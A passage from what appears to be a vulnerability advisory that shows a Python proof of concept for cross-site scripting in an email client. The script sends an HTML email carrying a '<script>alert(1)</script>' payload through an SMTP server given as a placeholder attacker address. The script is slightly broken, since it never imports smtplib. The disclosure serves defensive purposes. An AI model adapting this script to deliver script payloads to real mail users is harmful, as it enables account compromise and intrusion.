2. Proof of Concept  
  
  
#!/usr/bin/env python  
email_addr = '[email protected] <mailto:[email protected]>'  
email = 'From: %s\n' % email_addr  
email += 'To: %s\n' % email_addr  
email += 'Subject: XSS\n'  
email += 'Content-type: text/html\n\n'  
email +='<script>alert(1)</script>'  
s = smtplib.SMTP('<Attacker IP address', 25)  
s.login(email_addr, "password")  
s.sendmail(email_addr, email_addr, email)  
s.quit()  
  
  
  
  
  
  
3. Solution:
